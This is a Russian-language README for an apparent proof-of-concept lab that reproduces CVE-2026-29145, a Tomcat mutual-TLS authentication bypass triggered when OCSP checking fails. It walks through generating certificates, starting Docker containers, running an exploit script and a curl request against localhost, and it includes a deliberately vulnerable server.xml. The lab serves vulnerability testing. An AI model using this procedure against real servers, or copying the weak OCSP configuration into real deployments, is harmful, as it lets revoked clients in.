
Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.
Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.
Уязвимость представляет собой обход аутентификации в реализации Mutual TLS (CLIENT_CERT) в Apache Tomcat. Когда OCSP (Online Certificate Status Protocol) настроен с отключённым soft-fail, Tomcat может не рассматривать сбой проверки OCSP как жёсткий отказ. Это позволяет клиенту с потенциально отозванным или непроверенным сертификатом обойти аутентификацию, если OCSP-ответчик недоступен или возвращает ошибку.
| Свойство | Значение |
|---|---|
| CVE ID | CVE-2026-29145 |
| CVSS Score | 9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Вектор атаки | Сеть |
| Требуемые привилегии | Нет |
| Воздействие | Обход аутентификации |
.ps1Скрипт run_test.sh автоматизирует весь процесс: очистку, генерацию сертификатов и запуск всех тестовых сценариев (уязвимый, успешный и исправленный).
# Переход в каталог проекта
cd CVE-2026-29145-Tester
# Сделать скрипты исполняемыми
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Установка зависимостей Python (если требуются для poc_exploit.py)
pip install -r requirements.txt
# Запуск полного набора тестов
./run_test.sh
На Linux/macOS:
./setup_certs.sh
На Windows (PowerShell):
.\setup_certs.ps1
Что это делает:
http://localhost:8888Ожидаемый вывод:
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!
docker-compose up -d
Что это делает:
Проверка запущенных контейнеров:
docker-compose ps
python poc_exploit.py
Ожидаемые результаты:
Уязвимая система:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...
Исправленная система:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).
| Сценарий | Статус OCSP | Ожидаемый (исправленный) | Результат (уязвимый) | Примечания |
|---|---|---|---|---|
| Нормальная работа | Онлайн и действителен | 200 OK ✓ | 200 OK ✓ | Проверка OCSP успешна, доступ разрешён |
| Мягкий сбой | Офлайн/таймаут | 403 Forbidden ✓ | 200 OK ✗ | ОБХОД - OCSP-ответчик недоступен |
| Жёсткий отзыв | Онлайн и отозван | 403 Forbidden ✓ | 403 Forbidden ✓ | Сертификат явно отозван |
| Недействительный сертификат | Недействительная цепочка | 403 Forbidden ✓ | 403 Forbidden ✓ | Проверка цепочки не пройдена |
Тест 1: По умолчанию (сбой OCSP-ответчика)
# Оставить контейнеры запущенными
python poc_exploit.py
Тест 2: Остановка OCSP-ответчика (имитация таймаута)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Тест 3: Ручное тестирование с помощью curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Этот файл
├── setup_certs.sh # Скрипт генерации сертификатов - Bash (Linux/macOS)
├── setup_certs.ps1 # Скрипт генерации сертификатов - PowerShell (Windows)
├── cleanup.sh # Скрипт очистки и сброса - Bash (Linux/macOS)
├── cleanup.ps1 # Скрипт очистки и сброса - PowerShell (Windows)
├── run_test.sh # Скрипт автоматизированного полного цикла тестирования
├── docker-compose.yml # Оркестрация сервисов Docker
├── requirements.txt # Зависимости Python
├── poc_exploit.py # Основной тестовый скрипт (с логированием и обработкой ошибок)
├── simple_proxy_fail.py # Имитация OCSP-ответчика (с подробным логированием)
├── .gitignore # Правила Git ignore для сертификатов и логов
├── certs/ # Сгенерированные сертификаты (создаются скриптами setup_certs)
│ ├── ca-chain.pem # Сертификат корневого ЦС
│ ├── ca-key.pem # Закрытый ключ корневого ЦС
│ ├── server-cert.pem # Серверный сертификат Tomcat
│ ├── server-key.pem # Закрытый ключ сервера Tomcat
│ ├── client-cert.pem # Тестовый клиентский сертификат
│ └── client-key.pem # Закрытый ключ тестового клиента
├── tomcat/
│ └── server.xml # Уязвимая конфигурация Tomcat
└── logs/ # Логи Tomcat (создаются во время выполнения)
Файл tomcat/server.xml настраивает:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Ключевые настройки:
certificateVerification="required" - Обеспечивает аутентификацию CLIENT_CERTOCSP on - Включает проверку отзыва OCSPИмитация OCSP-ответчика (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Причина: Генерация сертификатов не удалась или не была запущена.
# Очистка и повторная генерация
rm -rf certs
./setup_certs.sh
Причина: Контейнер Tomcat не запущен или не готов.
# Проверка статуса контейнера
docker-compose ps
# Проверка логов
docker-compose logs vulnerable-tomcat
# Убедиться, что оба сервиса запущены и работают
docker-compose up -d
sleep 10 # Ожидание запуска сервисов